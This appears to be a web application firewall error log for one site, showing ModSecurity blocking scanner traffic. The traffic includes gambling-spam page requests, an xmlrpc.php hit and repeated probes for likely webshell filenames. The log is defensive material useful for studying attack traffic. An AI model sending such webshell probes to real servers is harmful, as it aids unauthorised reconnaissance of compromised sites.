[Fri Feb 13 04:09:57.092032 2026] [:error] [pid 51243:tid 51269] [client 91.65.123.43:5354] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aY4zlcim7ZTAHzi7xZugvwAAARg"]
[Fri Feb 13 04:09:59.137328 2026] [:error] [pid 51243:tid 51246] [client 91.65.123.43:18854] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aY4zl8im7ZTAHzi7xZugxAAAAQE"]
[Fri Feb 13 04:10:00.994610 2026] [:error] [pid 49223:tid 49233] [client 91.65.123.43:38134] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aY4zmB8A_fZBamNLnfUQFQAAAAE"]
[Fri Feb 13 04:10:03.011792 2026] [:error] [pid 49225:tid 49298] [client 91.65.123.43:18315] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aY4zmzwH8-zGxtAd3juz_gAAAIQ"]
[Fri Feb 13 04:10:05.019165 2026] [:error] [pid 49225:tid 49306] [client 91.65.123.43:38097] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aY4znTwH8-zGxtAd3ju0AgAAAIw"]
[Fri Feb 13 04:10:07.015252 2026] [:error] [pid 51243:tid 51268] [client 91.65.123.43:53390] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aY4zn8im7ZTAHzi7xZugzgAAARc"]
[Fri Feb 13 04:10:08.895405 2026] [:error] [pid 49225:tid 49316] [client 91.65.123.43:40058] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aY4zoDwH8-zGxtAd3ju0BgAAAJY"]
[Fri Feb 13 04:10:50.352761 2026] [:error] [pid 49224:tid 49283] [client 91.65.123.43:8729] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aY4zytiAvPoWmw5YhwlowwAAAFA"]
[Fri Feb 13 04:10:52.324700 2026] [:error] [pid 49225:tid 49309] [client 91.65.123.43:19016] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aY4zzDwH8-zGxtAd3ju0QQAAAI8"]
[Fri Feb 13 04:10:54.340153 2026] [:error] [pid 51243:tid 51260] [client 91.65.123.43:54014] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aY4zzsim7ZTAHzi7xZuhHQAAAQ8"]
[Fri Feb 13 04:10:56.219256 2026] [:error] [pid 49223:tid 49250] [client 91.65.123.43:43022] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aY4z0B8A_fZBamNLnfUQVQAAABI"]
[Fri Feb 13 04:10:58.233185 2026] [:error] [pid 51243:tid 51252] [client 91.65.123.43:59254] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aY4z0sim7ZTAHzi7xZuhIQAAAQc"]
[Fri Feb 13 04:11:00.264613 2026] [:error] [pid 49223:tid 49251] [client 91.65.123.43:29755] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aY4z1B8A_fZBamNLnfUQWgAAABM"]
[Fri Feb 13 04:11:02.248967 2026] [:error] [pid 51243:tid 51260] [client 91.65.123.43:30750] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aY4z1sim7ZTAHzi7xZuhKAAAAQ8"]
[Fri Feb 13 04:11:04.119084 2026] [:error] [pid 51243:tid 51250] [client 91.65.123.43:17578] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aY4z2Mim7ZTAHzi7xZuhKgAAAQU"]
[Fri Feb 13 04:11:06.130605 2026] [:error] [pid 49223:tid 49253] [client 91.65.123.43:62341] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aY4z2h8A_fZBamNLnfUQYwAAABU"]
[Fri Feb 13 04:11:08.127906 2026] [:error] [pid 49223:tid 49250] [client 91.65.123.43:16944] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aY4z3B8A_fZBamNLnfUQaAAAABI"]
[Fri Feb 13 04:11:10.165864 2026] [:error] [pid 51243:tid 51265] [client 91.65.123.43:1056] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aY4z3sim7ZTAHzi7xZuhMwAAARQ"]
[Fri Feb 13 04:11:12.179926 2026] [:error] [pid 49224:tid 49289] [client 91.65.123.43:8035] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aY4z4NiAvPoWmw5Yhwlo3gAAAFY"]
[Fri Feb 13 04:11:14.019277 2026] [:error] [pid 51243:tid 51268] [client 91.65.123.43:12222] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aY4z4sim7ZTAHzi7xZuhOwAAARc"]
[Fri Feb 13 04:11:16.028483 2026] [:error] [pid 49335:tid 49359] [client 91.65.123.43:41546] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aY4z5Kp--SFY2nwOiqn9cgAAANY"]
[Fri Feb 13 04:11:18.057747 2026] [:error] [pid 49224:tid 49285] [client 91.65.123.43:31426] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aY4z5tiAvPoWmw5Yhwlo6AAAAFI"]
[Fri Feb 13 04:11:20.067105 2026] [:error] [pid 49335:tid 49353] [client 91.65.123.43:32562] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aY4z6Kp--SFY2nwOiqn9fgAAANA"]
[Fri Feb 13 04:11:22.074953 2026] [:error] [pid 49335:tid 49358] [client 91.65.123.43:50558] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aY4z6qp--SFY2nwOiqn9hAAAANU"]
[Fri Feb 13 04:11:23.927657 2026] [:error] [pid 49225:tid 49312] [client 91.65.123.43:8102] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aY4z6zwH8-zGxtAd3ju0nwAAAJI"]
[Fri Feb 13 04:11:25.944264 2026] [:error] [pid 49335:tid 49342] [client 91.65.123.43:44284] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aY4z7ap--SFY2nwOiqn9iwAAAMU"]
[Fri Feb 13 04:11:27.945337 2026] [:error] [pid 49223:tid 49246] [client 91.65.123.43:51185] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aY4z7x8A_fZBamNLnfUQgAAAAA4"]
[Fri Feb 13 04:11:29.963542 2026] [:error] [pid 51243:tid 51256] [client 91.65.123.43:16365] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aY4z8cim7ZTAHzi7xZuhXAAAAQs"]
[Fri Feb 13 04:11:31.820610 2026] [:error] [pid 49224:tid 49273] [client 91.65.123.43:33107] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aY4z89iAvPoWmw5Yhwlo_gAAAEY"]
[Fri Feb 13 04:11:33.827917 2026] [:error] [pid 49224:tid 49284] [client 91.65.123.43:55114] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aY4z9diAvPoWmw5YhwlpAgAAAFE"]
[Fri Feb 13 04:11:35.829710 2026] [:error] [pid 49335:tid 49345] [client 91.65.123.43:25969] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aY4z96p--SFY2nwOiqn9nwAAAMg"]
[Fri Feb 13 04:11:37.843948 2026] [:error] [pid 51243:tid 51248] [client 91.65.123.43:28270] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aY4z-cim7ZTAHzi7xZuhawAAAQM"]
[Fri Feb 13 04:11:39.858255 2026] [:error] [pid 51243:tid 51255] [client 91.65.123.43:51237] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aY4z-8im7ZTAHzi7xZuhcAAAAQo"]
[Fri Feb 13 04:11:41.744279 2026] [:error] [pid 51243:tid 51258] [client 91.65.123.43:33299] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aY4z_cim7ZTAHzi7xZuhdQAAAQ0"]
[Fri Feb 13 04:11:43.731454 2026] [:error] [pid 51243:tid 51259] [client 91.65.123.43:38516] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aY4z_8im7ZTAHzi7xZuheAAAAQ4"]
[Fri Feb 13 04:11:45.739813 2026] [:error] [pid 51243:tid 51256] [client 91.65.123.43:12408] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aY40Acim7ZTAHzi7xZuhfQAAAQs"]
[Fri Feb 13 04:50:53.170903 2026] [:error] [pid 49335:tid 49356] [client 158.247.243.94:53322] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY49Lap--SFY2nwOiqkT4AAAANM"]
[Fri Feb 13 04:57:47.145732 2026] [:error] [pid 49223:tid 49242] [client 68.219.89.70:16211] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY4-yx8A_fZBamNLnfUg1wAAAAo"]
[Fri Feb 13 04:57:47.836049 2026] [:error] [pid 49225:tid 49297] [client 68.219.89.70:21886] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY4-yzwH8-zGxtAd3jvE9wAAAIM"]
[Fri Feb 13 04:57:50.836028 2026] [:error] [pid 49224:tid 49290] [client 68.219.89.70:45695] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY4-ztiAvPoWmw5Yhwl6jQAAAFc"]
[Fri Feb 13 04:57:52.153645 2026] [:error] [pid 49335:tid 49339] [client 68.219.89.70:17498] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-k3w6g9s4h2.php"] [unique_id "aY4-0Kp--SFY2nwOiqkW0QAAAMI"]
[Fri Feb 13 04:57:53.160646 2026] [:error] [pid 49224:tid 49278] [client 68.219.89.70:29431] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/007xx.php"] [unique_id "aY4-0diAvPoWmw5Yhwl6lgAAAEs"]
[Fri Feb 13 04:57:55.277734 2026] [:error] [pid 51243:tid 51250] [client 68.219.89.70:45687] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/007xx.php"] [unique_id "aY4-08im7ZTAHzi7xZuyBAAAAQU"]
[Fri Feb 13 04:58:00.946152 2026] [:error] [pid 49223:tid 49239] [client 68.219.89.70:19653] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/007xx.php"] [unique_id "aY4-2B8A_fZBamNLnfUg8AAAAAc"]
[Fri Feb 13 04:58:02.103799 2026] [:error] [pid 51243:tid 51249] [client 68.219.89.70:29409] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/007xx.php"] [unique_id "aY4-2sim7ZTAHzi7xZuyCwAAAQQ"]
[Fri Feb 13 04:58:03.187330 2026] [:error] [pid 49224:tid 49276] [client 68.219.89.70:17512] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aY4-29iAvPoWmw5Yhwl6rAAAAEk"]
[Fri Feb 13 04:58:07.354077 2026] [:error] [pid 49225:tid 49307] [client 68.219.89.70:27265] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aY4-3zwH8-zGxtAd3jvFEAAAAI0"]
[Fri Feb 13 04:58:09.384218 2026] [:error] [pid 49223:tid 49252] [client 68.219.89.70:21871] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aY4-4R8A_fZBamNLnfUg-gAAABQ"]
[Fri Feb 13 04:58:15.974886 2026] [:error] [pid 49224:tid 49291] [client 68.219.89.70:22403] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aY4-59iAvPoWmw5Yhwl6uQAAAFg"]
[Fri Feb 13 04:58:17.187575 2026] [:error] [pid 49225:tid 49306] [client 68.219.89.70:45634] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sldnjqlm.php"] [unique_id "aY4-6TwH8-zGxtAd3jvFIgAAAIw"]
[Fri Feb 13 04:58:21.916051 2026] [:error] [pid 49223:tid 49250] [client 68.219.89.70:2437] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sldnjqlm.php"] [unique_id "aY4-7R8A_fZBamNLnfUhEAAAABI"]
[Fri Feb 13 04:58:23.733165 2026] [:error] [pid 49335:tid 49355] [client 68.219.89.70:2494] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sldnjqlm.php"] [unique_id "aY4-76p--SFY2nwOiqkXGgAAANI"]
[Fri Feb 13 04:58:25.145883 2026] [:error] [pid 49223:tid 49248] [client 68.219.89.70:19340] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sldnjqlm.php"] [unique_id "aY4-8R8A_fZBamNLnfUhFgAAABA"]
[Fri Feb 13 04:58:31.355413 2026] [:error] [pid 49224:tid 49287] [client 68.219.89.70:15754] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s3.php"] [unique_id "aY4-99iAvPoWmw5Yhwl62wAAAFQ"]
[Fri Feb 13 04:58:38.642951 2026] [:error] [pid 49223:tid 49240] [client 68.219.89.70:17497] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s3.php"] [unique_id "aY4-_h8A_fZBamNLnfUhKQAAAAg"]
